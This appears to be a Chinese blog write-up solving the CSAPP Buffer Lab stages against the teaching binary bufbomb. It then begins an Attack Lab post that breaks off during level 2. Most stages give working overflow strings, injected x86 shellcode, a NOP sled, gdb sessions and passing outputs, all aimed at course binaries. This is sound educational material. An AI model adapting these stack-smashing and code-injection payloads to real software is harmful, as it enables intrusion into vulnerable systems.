实验讲义中主要包含了以下3个可执行文件:

  • bufbomb 你所要攻击的缓冲区炸弹程序
  • makecookie 根据你所输入的userid生成一个cookie
  • hex2raw 一个生成攻击字符串的工具

首先我们要输入userid生成一个cookie供后续使用,命令及结果如下:

1
2
3
user@BlackDragon ~/C/B/buflab-handout> ./makecookie BlackDragon > cookie                          
user@BlackDragon ~/C/B/buflab-handout> cat cookie
0x3dde924c

然后我们要将bufbomb反汇编以供后续攻击使用,命令及结果如下:

1
user@BlackDragon ~/C/B/buflab-handout> objdump -d bufbomb > bufbomb-disassemble

目标程序

目标程序的通过getbuf函数从标准输入流中读取字符串,并且该函数和Attack Lab中的函数一致,且具有缓冲区溢出的漏洞。这里不再赘述。

值得注意的是,bufbomb函数接受如下的参数:

  • -h 打印帮助信息
  • -u userid 你应该一直为程序提供该参数,因为远程计分服务器需要该参数,bufbomb也需要该参数去确定你生成的cookie以确定你的攻击满足了条件,并且若干关键的栈地址也和该userid生成的cookie有关
  • -n 进入’Nitro’模式,在阶段4中使用
  • -s 将你的攻击字符串作为结果提交至计分服务器

同Attack Lab一样,你需要使用hex2raw从攻击代码生成相应的攻击字符串,这里也不再赘述。

实验过程

阶段0:蜡烛(Candle)

在本实验中,关键函数getbuf被test函数调用,getbuf和test函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/* getbuf */
#define NORMAL_BUFFER_SIZE ??
int getbuf()
{
char buf[NORMAL_BUFFER_SIZE];
Gets(buf);
return 1;
}

/* test */
void test()
{
int val;
/* Put canary on stack to detect possible corruption */
volatile int local = uniqueval();

val = getbuf();

/* Check for corrupted stack */
if (local != uniqueval()) {
printf("Sabotaged!: the stack has been corrupted\n");
}
else if (val == cookie) {
printf("Boom!: getbuf returned 0x%x\n", val);
validate(3);
} else {
printf("Dud: getbuf returned 0x%x\n", val);
}
}

现在我们希望test函数从getbuf返回时不执行下一条代码,而是跳转至函数smoke,该函数如下:

1
2
3
4
5
6
void smoke()
{
printf("Smoke!: You called smoke()\n");
validate(0);
exit(0);
}

首先我们需要确定缓冲区的大小,观察bufbomb-disassemble中getbuf的反汇编结果,如下:

1
2
3
4
5
6
7
8
9
10
080491f4 <getbuf>:
80491f4: 55 push %ebp
80491f5: 89 e5 mov %esp,%ebp
80491f7: 83 ec 38 sub $0x38,%esp
80491fa: 8d 45 d8 lea -0x28(%ebp),%eax
80491fd: 89 04 24 mov %eax,(%esp)
8049200: e8 f5 fa ff ff call 8048cfa <Gets>
8049205: b8 01 00 00 00 mov $0x1,%eax
804920a: c9 leave
804920b: c3 ret

注意到函数总共开辟了0x38=56个字节的栈空间,然后lea -0x28(%ebp),%eax mov %eax,(%esp)进行了参数字符串起始地址的构造,考虑到栈从高地址向低地址延伸,而ebp指向栈底,我们可以推测缓冲区总共是0x28=40个字节。

经过实际测试,可以确定缓冲区确实是40个字节。

下面我们观察反汇编代码,可以得出函数smoke的起始地址为0x08048c18,根据以上的信息,我们的攻击代码如下:

1
2
3
4
5
6
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 /* 前40个字节 */
00 00 00 00 18 8c 04 08 /* 保存的%ebp以及返回地址 */

在该阶段中,由于smoke直接使得程序退出,所以我们不需要在意保存的%ebp的值,直接通过缓冲区溢出覆盖返回地址即可。

下面我们使用hex2raw生成攻击字符串并测试。结果如下:

1
2
3
4
5
6
7
user@BlackDragon ~/C/B/buflab-handout> cat level0.txt|./hex2raw|./bufbomb -u BlackDragon             
Userid: BlackDragon
Cookie: 0x3dde924c
Type string:Smoke!: You called smoke()
VALID
NICE JOB!
run with level1

阶段0完成。

阶段1:火花(Sparkler)

现在,我们希望getbuf返回时跳转至函数fizz同时能伪装成已经传递了cookie作为参数,该函数如下:

1
2
3
4
5
6
7
8
9
void fizz(int val)
{
if (val == cookie) {
printf("Fizz!: You called fizz(0x%x)\n", val);
validate(1);
} else
printf("Misfire: You called fizz(0x%x)\n", val);
exit(0);
}

在该阶段中,我们需要注意IA32中,参数是通过调用者的栈进行传递的,我们观察fizz的反汇编代码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
08048c42 <fizz>:
8048c42: 55 push %ebp
8048c43: 89 e5 mov %esp,%ebp
8048c45: 83 ec 18 sub $0x18,%esp
8048c48: 8b 45 08 mov 0x8(%ebp),%eax
8048c4b: 3b 05 08 d1 04 08 cmp 0x804d108,%eax
8048c51: 75 26 jne 8048c79 <fizz+0x37>
8048c53: 89 44 24 08 mov %eax,0x8(%esp)
8048c57: c7 44 24 04 ee a4 04 movl $0x804a4ee,0x4(%esp)
8048c5e: 08
8048c5f: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048c66: e8 55 fd ff ff call 80489c0 <__printf_chk@plt>
8048c6b: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048c72: e8 04 07 00 00 call 804937b <validate>
8048c77: eb 18 jmp 8048c91 <fizz+0x4f>
8048c79: 89 44 24 08 mov %eax,0x8(%esp)
8048c7d: c7 44 24 04 40 a3 04 movl $0x804a340,0x4(%esp)
8048c84: 08
8048c85: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048c8c: e8 2f fd ff ff call 80489c0 <__printf_chk@plt>
8048c91: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048c98: e8 63 fc ff ff call 8048900 <exit@plt>

从上述反汇编代码的第1行第4行和第5行,我们可以知道函数fizz的起始地址为0x08048c42,val保存在0x8(%ebp)中,cookie保存在固定的地址0x804d108中。根据以上的信息,我们的攻击代码如下:

1
2
3
4
5
6
7
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 /* 前40个字节 */
00 00 00 00 42 8c 04 08 /* 保存的%ebp以及返回地址 */
00 00 00 00 4c 92 de 3d /* cookie */

在该攻击代码中,前48个字节同阶段0一样,只是将返回地址改成了了函数fizz的起始地址。而最后8个字节则是用来伪装成传递参数的。注意函数从getbuf返回后并不会真正的调用fizz函数,而只是依次的开始执行fizz的指令。

因此,从getbuf返回直到获取到参数val这整个过程中,首先getbuf返回会执行复位操作,将栈顶(%esp)指向第40个字节处(从0开始计算,下同),然后将0x0pop至栈底(%ebp),最后根据返回地址跳转至fizz并pop。现在栈顶(%esp)指向了第48个字节。紧接着,直接开始执行fizz的指令,将%ebp(0)入栈,直至执行到mov 0x8(%ebp),%eax,栈顶(%esp)指向第44个字节。所以,我们的cookie应当放在第(44+8=52)个字节处,直到第55个字节为止。

下面我们使用hex2raw生成攻击字符串并测试,如下:

1
2
3
4
5
6
user@BlackDragon ~/C/B/buflab-handout> cat level1.txt|./hex2raw|./bufbomb -u BlackDragon
Userid: BlackDragon
Cookie: 0x3dde924c
Type string:Fizz!: You called fizz(0x3dde924c)
VALID
NICE JOB!

阶段1完成。

阶段2:爆竹(FireCracker)

bufbomb中包含了一个全局变量global_value以及函数bang,如下:

1
2
3
4
5
6
7
8
9
10
int global_value = 0;
void bang(int val)
{
if (global_value == cookie) {
printf("Bang!: You set global_value to 0x%x\n", global_value);
validate(2);
} else
printf("Misfire: global_value = 0x%x\n", global_value);
exit(0);
}

在该阶段中,我们希望函数能在返回时跳转至bang,但是在这之前,要将全局变量global_value的值设置为cookie。

该阶段同Attack Lab第1部分的等级2相似,我们需要将程序计数器%eip指向栈,在栈上执行相应的代码,实现相关的修改,最后从栈上返回至函数bang。

首先我们需要确定在进入getbuf时的栈地址,具体的命令和操作如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
user@BlackDragon ~/C/B/buflab-handout> gdb bufbomb                                           
GNU gdb (GDB) 7.12.1
Copyright (C) 2017 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from bufbomb...(no debugging symbols found)...done.
(gdb) break getbuf
Breakpoint 1 at 0x80491fa
(gdb) run -u BlackDragon
Starting program: /home/user/CSAPPLabs/BufferLab/buflab-handout/bufbomb -u BlackDragon
Userid: BlackDragon
Cookie: 0x3dde924c

Breakpoint 1, 0x080491fa in getbuf ()
(gdb) disas
Dump of assembler code for function getbuf:
0x080491f4 <+0>: push %ebp
0x080491f5 <+1>: mov %esp,%ebp
0x080491f7 <+3>: sub $0x38,%esp
=> 0x080491fa <+6>: lea -0x28(%ebp),%eax
0x080491fd <+9>: mov %eax,(%esp)
0x08049200 <+12>: call 0x8048cfa <Gets>
0x08049205 <+17>: mov $0x1,%eax
0x0804920a <+22>: leave
0x0804920b <+23>: ret
End of assembler dump.
(gdb) print /x $esp
$1 = 0x55682f18
(gdb) print /x $ebp
$2 = 0x55682f50

通过在gdb中添加断点并观察,我们可以确定在执行函数getbuf时,栈底(%ebp)的值为0x55682f50。

接下来我们要通过gcc和objdump生成攻击代码,具体的操作和Attack Lab相似,我们首先新建一个level2-exploit.s文件,在其中编写相应的攻击代码,如下:

1
2
3
4
mov $0x3dde924c, %eax
mov %eax, 0x804d100 ;设置全局变量
add $16, %esp ;修改栈顶
ret ;返回

然后我们依次使用gcc -m32 -c level2-exploit.sobjdump -d level2-exploit.o > level2-exploit.d将攻击代码汇编和反汇编,具体的命令和结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
user@BlackDragon ~/C/B/buflab-handout> gcc -m32 -c level2-exploit.s                          
user@BlackDragon ~/C/B/buflab-handout> objdump -d level2-exploit.o > level2-exploit.d
user@BlackDragon ~/C/B/buflab-handout> cat level2-exploit.d

level2-exploit.o: 文件格式 elf32-i386


Disassembly of section .text:

00000000 <.text>:
0: b8 4c 92 de 3d mov $0x3dde924c,%eax
5: a3 00 d1 04 08 mov %eax,0x804d100
a: 83 c4 10 add $0x10,%esp
d: c3 ret
 

最后我们根据以上的信息来生成我们最终的攻击代码,如下:

1
2
3
4
5
6
7
8
9
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 /* 前40个字节 */
00 00 00 00 58 2f 68 55 /* 保存的%ebp以及返回地址(在栈上) */
b8 4c 92 de 3d a3 00 d1
04 08 83 c4 10 c3 00 00 /* 攻击代码 */
9d 8c 04 08  /* 返回地址指向函数bang */

下面我们使用hex2raw生成攻击字符串并测试,结果如下:

1
2
3
4
5
6
user@BlackDragon ~/C/B/buflab-handout> cat level2.txt|./hex2raw|./bufbomb -u BlackDragon
Userid: BlackDragon
Cookie: 0x3dde924c
Type string:Bang!: You set global_value to 0x3dde924c
VALID
NICE JOB!

阶段2完成。

阶段3:炸药(Dynamite)

在前面的几个阶段中,我们所有的攻击都导致程序跳转至其他函数并退出。所以,使用会破坏栈的攻击代码是可行的。

在该阶段中,你需要修改程序的寄存器和内存状态,并且使程序能正确的返回值原调用者函数并且不出错。这就意味着你必须:

  1. 在栈上执行机器代码
  2. 将返回指针置于代码的起始
  3. 修复对栈造成的破坏

具体来说,你需要让函数getbuf返回cookie而不是1至函数test。注意到在test中当返回值为cookie时程序会输出”Boom!”。你的攻击代码应当将cookie设置为返回值,恢复任何被破坏的状态,将正确的返回地址push到栈上,最终执行ret指令。

对于该阶段,我们的思路如下:

  1. 缓冲区溢出的部分要保证保存的%ebp不变以方便后续的寻址过程(攻击代码中使用)。然后和阶段2一样,通过溢出使程序跳转至栈上执行相应的攻击代码
  2. 攻击代码首先将返回地址设置为正确的返回地址(调用者的下一条指令)
  3. 然后再将返回值(%eax)设置为cookie
  4. 最终修改栈顶(%esp)并ret

缓冲区溢出攻击后,我们期望的整个程序的执行过程如下:

  1. 跳转至栈上执行代码,此时%esp被修改至第48个字节处,且%ebp中存有正确的值。
  2. 程序执行攻击代码,该攻击代码重置了返回地址,覆盖了getbuf的返回值,修改了栈顶指针并ret
  3. 程序带着完整的栈状态和修改后的返回值返回至test函数,并继续执行

下面我们讨论一下攻击代码中具体的细节。

首先是保存的ebp的值到底是多少,这个我们可以在gdb中直接调试打印得出,为0x55682f80。
栈上的返回地址和阶段2一样,为0x55682f58。

然后我们的攻击代码如下:

1
2
3
4
5
mov $0x8048dbe, %eax ;将真正的返回地址送入%eax
mov %eax, -0x2c(%ebp) ;将%eax送入栈上的正确位置
mov $0x3dde924c, %eax ;修改返回值
sub $4, %esp ;修改栈顶%esp
ret

这里讨论一下为什么是-0x2c(%ebp),保存的%ebp是调用者的栈底,我们观察调用者函数test的反汇编代码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
08048daa <test>:
8048daa: 55 push %ebp
8048dab: 89 e5 mov %esp,%ebp
8048dad: 53 push %ebx
8048dae: 83 ec 24 sub $0x24,%esp
8048db1: e8 da ff ff ff call 8048d90 <uniqueval>
8048db6: 89 45 f4 mov %eax,-0xc(%ebp)
8048db9: e8 36 04 00 00 call 80491f4 <getbuf>
8048dbe: 89 c3 mov %eax,%ebx
8048dc0: e8 cb ff ff ff call 8048d90 <uniqueval>
8048dc5: 8b 55 f4 mov -0xc(%ebp),%edx
8048dc8: 39 d0 cmp %edx,%eax
8048dca: 74 0e je 8048dda <test+0x30>
8048dcc: c7 04 24 88 a3 04 08 movl $0x804a388,(%esp)
8048dd3: e8 e8 fa ff ff call 80488c0 <puts@plt>
8048dd8: eb 46 jmp 8048e20 <test+0x76>
8048dda: 3b 1d 08 d1 04 08 cmp 0x804d108,%ebx
8048de0: 75 26 jne 8048e08 <test+0x5e>
8048de2: 89 5c 24 08 mov %ebx,0x8(%esp)
8048de6: c7 44 24 04 2a a5 04 movl $0x804a52a,0x4(%esp)
8048ded: 08
8048dee: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048df5: e8 c6 fb ff ff call 80489c0 <__printf_chk@plt>
8048dfa: c7 04 24 03 00 00 00 movl $0x3,(%esp)
8048e01: e8 75 05 00 00 call 804937b <validate>
8048e06: eb 18 jmp 8048e20 <test+0x76>
8048e08: 89 5c 24 08 mov %ebx,0x8(%esp)
8048e0c: c7 44 24 04 47 a5 04 movl $0x804a547,0x4(%esp)
8048e13: 08
8048e14: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048e1b: e8 a0 fb ff ff call 80489c0 <__printf_chk@plt>
8048e20: 83 c4 24 add $0x24,%esp
8048e23: 5b pop %ebx
8048e24: 5d pop %ebp
8048e25: c3 ret

我们可以知道函数test在栈上分配了0x24=36个字节的空间,而在这之前栈上还有被push的%ebx占4个字节,那么如果要想要定位到调用者栈顶的返回地址,偏移量应为36+4+4=44=0x2c,考虑到栈自高地址向低地址增长,所以应为-0x2c(%ebp)。

而程序从getbuf返回时栈顶指针并没有指向我们设置的返回地址,而是指向了栈上紧邻着该地址的高地址位置,所以我们需要将%esp-4以确保其指向了我们设置的返回地址,使得程序能正确返回。

下面我们使用gcc和objdump生成攻击代码,并且我们最终的攻击代码如下:

1
2
3
4
5
6
7
8
9
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 /* 前40个字节 */
80 2f 68 55 58 2f 68 55 /* 保存的%ebp和返回地址(位于栈上) */
b8 be 8d 04 08 89 45 d4 /* 攻击代码 */
b8 4c 92 de 3d 83 ec 04
c3

最后我们使用hex2raw生成攻击字符串并测试,结果如下:

1
2
3
4
5
6
user@BlackDragon ~/C/B/buflab-handout> cat level3.txt|./hex2raw|./bufbomb -u BlackDragon         
Userid: BlackDragon
Cookie: 0x3dde924c
Type string:Boom!: getbuf returned 0x3dde924c
VALID
NICE JOB!

阶段3完成。

攻击代码的优化

注意到在上面我们的攻击代码还是很麻烦的,我们不仅花了很大的时间保证被保存的%ebp不变,还调整了栈顶指针使得函数能正确返回。

其实,我们可以使用push returnAddress,ret来达到返回到指定位置的效果。也能直接在攻击代码中设置%ebp的值,这样,我们的攻击代码如下:

1
2
3
4
mov $0x3dde924c,%eax ;返回值
mov $0x55682f80,%ebp ;修改%ebp
push $0x8048dbe ;将返回地址压栈
ret

根据以上的信息重新生成我们的攻击代码:

1
2
3
4
5
6
7
8
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 /* 前40个字节 */
00 00 00 00 58 2f 68 55 /* 保存的%ebp和返回地址(位于栈上)*/
b8 4c 92 de 3d bd 80 2f /* 攻击代码 */
68 55 68 be 8d 04 08 c3

使用hex2raw生成攻击字符串并测试,结果如下:

1
2
3
4
5
6
user@BlackDragon ~/C/B/buflab-handout> cat level3-2.txt|./hex2raw|./bufbomb -u BlackDragon          
Userid: BlackDragon
Cookie: 0x3dde924c
Type string:Boom!: getbuf returned 0x3dde924c
VALID
NICE JOB!

阶段4:硝化甘油(Nitroglycerin)

需要为bufbomb以及hex2raw添加命令行参数’-n’以执行本阶段

本阶段非常的具有挑战性,在本阶段中,函数getbuf的栈帧的位置在每次运行时都是不同的。栈随机化的策略明显提升了攻击的难度。

具体来说,在该阶段中,程序会调用getbufn来从标准输入流中读取数据,和getbuf不同的是,getbufn具有512个字节的缓冲区,并且,在相邻两次getbufn的调用中,%ebp的值将会出现最多+-240的误差。除此以外,在该阶段中,程序总共会使用5次你所输入的字符串,也就是说,总共会调用5次getbufn。同阶段3的任务相似,你必须保证每一次调用getbufn,其返回值均为cookie。

若返回值为cookie,则程序会输出”KABOOM!”。你的攻击代码需要在5次栈帧位置不同的函数getbuf的调用中设置cookie为返回值,恢复对栈造成的破坏,设置正确的返回地址,并最终执行ret执行以返回testn。

在本阶段中我们需要使用一种名为nop雪橇(nop sled)的攻击方式来对抗随机化。具体来说,就是通过在攻击代码前大量插入nop(空操作,编码为90)。这样,就算栈的起始地址在一定范围内波动,只要程序能跳转至其中一个nop指令,就能顺着这一组nop指令滑向我们真正的攻击代码。

首先我们需要考虑的是我们攻击代码的长度,由于必须要通过缓冲区溢出覆盖掉函数getbufn的返回地址,所以攻击代码的长度至少为520个字节的缓冲区,4个字节的被保存的%ebp,以及4个字节的返回地址。

我们将攻击代码放在缓冲区的最后,并且用90(nop)填充所有未被利用到的缓冲区以实现一个nop sled。

具体的攻击代码如下:

1
2
3
4
lea 0x28(%esp), %ebp ;复原%ebp
mov $0x3dde924c, %eax ;设置cookie
push $0x8048e3a ;将返回地址压栈
ret

注意到我们无法再采用阶段3中的办法来复原%ebp了。但是注意到,当函数从getbufn返回时,%esp的值是正确的,而%esp和%ebp的相对差值是固定的,因此我们可以根据函数返回时的%esp去还原%ebp,对于testn来说,%esp和%ebp之间相差了36+4=40=0x28个字节。

最后是返回地址的设定,在gdb中观察可知第一次执行时buf的地址为0x55682f40,因此我们将返回地址设置为0x55682f40-480=0x55682d60可保证每次都能命中。

最终我们的攻击代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 /* nop sled */
90 90 90 90 90 90 90 90 90 90 90 90 90 8d 6c 24
28 b8 4c 92 de 3d 68 3a 8e 04 08 c3 60 2d 68 55 /* 攻击代码与返回地址 */

使用hex2raw生成攻击字符串并测试,结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
user@BlackDragon ~/C/B/buflab-handout> cat level4.txt|./hex2raw -n|./bufbomb -u BlackDragon -n  
Userid: BlackDragon
Cookie: 0x3dde924c
Type string:KABOOM!: getbufn returned 0x3dde924c
Keep going
Type string:KABOOM!: getbufn returned 0x3dde924c
Keep going
Type string:KABOOM!: getbufn returned 0x3dde924c
Keep going
Type string:KABOOM!: getbufn returned 0x3dde924c
Keep going
Type string:KABOOM!: getbufn returned 0x3dde924c
VALID
NICE JOB!

阶段4完成。

实验总结

Buffer Lab整体上同Attack Lab的第1部分,代码注入攻击相似,不同在于需要了解IA32的栈帧结构,过程调用以及参数传递的原理。

除此以外,还需要了解对抗栈随机化的一种攻击方式 - nop sled。

评论和共享

实验答案托管在我的Github

花了一天时间于2017年5月4日完成了《深入理解计算机系统》的第三个Lab - Attack Lab。这个实验对应于书本第三章:程序的机器级表示中,缓冲区溢出攻击部分。

实验简介

Attack Lab是Buffer Lab的64位版本。在这个实验中,目标是通过代码注入攻击(Code Injection Attack)和返回导向编程(Return Oriented Programming)两种攻击方式,分别修改具有缓冲区溢出漏洞的两个x86_64可执行文件的行为。

本实验主要加深了对于栈规则的理解,以及说明了缓冲区溢出漏洞可能造成的危险后果。

本实验使用了官网给出的自学者讲义中的Ubuntu 12.4 targets,并且使用了运行时参数-q来避免该程序连接远程的计分服务器。

实验准备

实验讲义中的target1.tar主要包含了以下文件:

  • README.txt 描述了目录内容
  • ctarget 一个易受代码注入攻击的可执行程序
  • rtarget 一个易受返回导向编程攻击的可执行程序
  • cookie.txt 在攻击中用到的唯一标识符,是8位的16进制代码
  • farm.c 目标程序的”Gadget Farm”的源代码,你将利用这些代码去生成返回导向编程攻击
  • hex2raw 一个生成攻击字符串的工具

注意事项

答案不能使用攻击去避免程序的正确性检查代码。具体来说,ret指令返回的目的地只能是以下3种:

  • 函数touch1, touch2, touch3的地址
  • 攻击注入代码的地址
  • gadget farm中gadgets的地址

rtarget中只能用函数start_farm和函数end_farm之间的函数来生成gadget。

目标程序

目标程序ctarget和rtarget都使用getbuf函数从标准输入流中读取字符串,getbuf函数如下:

1
2
3
4
5
6
unsigned getbuf()
{
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}

Gets函数同标准库函数gets相似,其从标准输入流中读入以’\n’或者是EOF结尾的字符串并且将其存储在制定的地址。在这段代码中,目标地址是一个长BUFFER_SIZE的字符数组。
但同时Gets()和gets()都不具备检测目的缓冲区是否足够大以存储输入的字符串的功能,因此可能存在缓冲区溢出的风险。在本次实验中,我们要利用该缓冲区溢出漏洞,改变目标程序的行为。

对于自学者来说,运行target的程序的时候需要带上参数-q以避免其连接并不存在的计分服务器。同时需要注意,用来生成攻击字符串的16进制的代码的任意中间位置都不能包含0a,因为其ascii表示是’\n’,在其之后的任意代码都不会被目标程序读入了。

实验过程及分析

第1部分 代码注入(Code Injection)攻击

本部分总共包含3个阶段,需要生成相应的攻击字符串去攻击ctarget。目标文件ctarget的栈位置是固定的,并且栈上的代码可执行。这为我们的代码注入攻击提供了机会。

等级1

阶段一不需要注入自己的代码,攻击字符串只需要将程序重定向至已有的过程即可。

在ctarget中,函数getbuf被test函数调用,而test函数如下:

1
2
3
4
5
6
void test()
{
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}

现在我们需要修改程序的行为,让程序从getbuf返回时不返回到test函数中,而跳转至touch1函数。函数touch1如下:
1
2
3
4
5
6
7
void touch1()
{
vlevel = 1;
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}

首先,我们对于目标可执行程序ctarget使用objdump -d ctarget > ctarget-disassemble生成ctarget的反汇编代码。然后观察反汇编代码中的getbuf函数,如下:

1
2
3
4
5
6
7
8
9
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop

通过观察sub $0x28,%rsp可以知道,getbuf在局部栈上开辟了大小为40个字节的空间,据此我们可以推测BUFFER_SIZE为40。那么,如果我们输入的字符串长度超过了40个字节,就会造成缓冲区溢出。

这里我们需要复习一下函数栈帧的相关知识。被调用者Q的栈帧自栈底(高地址)到栈顶(低地址)包括了被保存的寄存器,局部变量和参数构造区。而调用者Q的栈帧自栈底到栈顶包括了参数以及返回地址。

对于getbuf函数来说,不存在被保存的寄存器,在缓冲区溢出之后,溢出的字符会直接覆盖调用者栈帧中的返回地址。因此,直接使用touch1的起始地址作为溢出的字符串覆盖返回地址即可。

我们观察反汇编代码中touch1函数的起始地址,如下:

1
00000000004017c0 <touch1>:

据此可以得出攻击代码的16位表示如下:
1
2
3
4
5
6
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
c0 17 40 00 00 00 00 00

其中,前40个字节的内容无关紧要(只要不是0a即可),因为它们属于未溢出的部分。这段攻击代码中而真正起作用的是缓冲区溢出的部分,即最后的8个字节。同时要注意到x86_86的机器是小端表示的字节序,即低位放在低字节,高位放在高字节,并且栈的增长方向是由低地址增长到高地址。所以最后8个字节的顺序为 c0 17 40 00 00 00 00 00。
下面我们使用hex2raw生成攻击字符串并测试。结果如下:
1
2
3
4
5
6
7
8
9
user@BlackDragon ~/C/A/target1> cat solutions/ctarget/level1/level1.txt|./hex2raw|./ctarget -q
数Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 C0 17 40 00 00 00 00 00

本阶段完成。

等级2

阶段2需要在攻击字符串中注入少量的代码。

在ctarget中,函数touch2如下:

1
2
3
4
5
6
7
8
9
10
11
12
void touch2(unsigned val)
{
vlevel = 2;
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: you called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}

任务是让ctarget执行函数touch2的代码而不是直接返回到test函数。并且,你必须假装你已经传递了cookie的值作为touch2的参数。

考虑到在ctarget中,栈地址固定以及允许在栈上执行代码,所以我们可以通过缓冲区溢出漏洞将返回地址指定到栈上,在栈上执行相应的指令,为函数touch2设置参数,最后再从栈上返回至touch2函数即可。

同阶段一相似,攻击代码的前40个字节无关紧要(只要不是0a),第41-48个字节指定了getbuf的返回地址,为了让函数能返回到栈上执行代码,我们需要知道栈地址。

使用gdb加载ctarget,并为getbuf函数设置断点,执行程序,当程序因为断点而暂停的时候打印rsp的值。具体的操作和结果如下:

1
2
3
4
5
6
7
8
9
10
(gdb) break getbuf
Breakpoint 1 at 0x4017a8: file buf.c, line 12.
(gdb) run -q
Starting program: /home/zhihaochen/CSAPPLabs/AttackLab/target1/ctarget -q
Cookie: 0x59b997fa

Breakpoint 1, getbuf () at buf.c:12
12 buf.c: 没有那个文件或目录.
(gdb) print /x $rsp
$1 = 0x5561dca0

从中可以得出结论,ctarget在执行getbuf时的栈地址(指向返回地址)为0x5561dca0。因此我们应该将返回地址指定为0x5561dca8。

然后我们用gcc和objdump来生成攻击代码。首先新建一个exploit.s文件,并在其中编写相应的攻击代码,如下:

1
2
3
mov $0x59b997fa, %edi ;设置cookie为参数
add $16, %rsp ;将rsp指向下一个返回地址(函数touch2的地址)
ret ;返回

